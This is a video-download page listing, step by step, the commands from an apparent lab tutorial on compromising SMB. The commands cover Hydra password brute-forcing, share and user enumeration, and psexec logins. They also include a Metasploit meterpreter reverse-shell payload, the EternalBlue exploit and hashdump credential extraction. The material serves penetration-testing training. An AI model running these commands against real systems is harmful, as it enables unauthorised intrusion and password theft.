Project 131 - Multifaceted Approaches To Compromising SMB (Manual vs Automated) скачать в хорошем качестве

Project 131 - Multifaceted Approaches To Compromising SMB (Manual vs Automated)

Commands Used (in the order that they appear in the video): 1. nmap -sV -sC -p 445 10.0.31.252 2. hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb (to brute force SMB user account for a password using the users wordlists instead of the passwords list) 3. hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 ssh (to brute force SSH user account for a password using the users wordlists instead of the passwords list) Enumeration 4. smbclient -L 10.0.31.252 -U vagrant (to view SMB shares on the target host) 5. smbmap -u vagrant -p vagrant -H 10.0.31.252 (alternative/more stable way to view SMB shares) 6. enum4linux -u vagrant -p vagrant -U 10.0.31.252 (to authenticate and enumerate other accounts on the target host) Enumeration with Metasploit 7. service postgresql start && msfconsole 8. workspace -a SMB 9. setg RHOSTS 10.0.31.252 10. search smb_enumusers 11. use auxiliary/scanner/smb/smb_enumusers 12. show options 13. set SMBUser vagrant 14. set SMBPass vagrant 15. run 16. open a new terminal Using PSExec Python File To Authenticate 17. locate psexec.py (to search for psexec python script) 18. cd Desktop/ 19. cp /usr/share/doc/python3-impacket/examples/psexec.py . (to copy python script to my local directory) 20. chmod +x psexec.py (to add execution permissions to the python script) 21. python3 psexec.py Administrator@10.0.31.252 (to authenticate into target host) 22. vagrant 23. whoami Authenticating w/ Metasploit module 24. search psexec 25. use exploit/windows/smb/psexec (to use MS Windows Authenticated User Code Execution) 26. set payload windows/x64/meterpreter/reverse_tcp 27. show options 28. set SMBUser Administrator 29. set SMBPass vagrant 30. exploit 31. sysinfo 32. getuid 33. getprivs 34. exit Gaining Access To Host w/o Credentials 35. search eternal 36. use exploit/windows/smb/ms17_010_eternalblue (to choose exploitation module) 37. show options 38. exploit 39. sysinfo 40. getuid 41. hashdump